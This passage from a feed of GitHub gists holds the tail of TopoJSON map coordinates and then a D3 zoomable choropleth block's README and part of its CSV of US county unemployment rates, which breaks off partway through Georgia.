3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/78794dcae28394eec2215a1b7fb2bc24">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/1f1955af07b8a6b8280fa6a86b3bf033</link>
      <guid isPermaLink="true">https://gist.github.com/1f1955af07b8a6b8280fa6a86b3bf033</guid>
      <pubDate>Wed, 21 Sep 2016 17:17:12 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T17:20:00.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>2921</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>5977</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
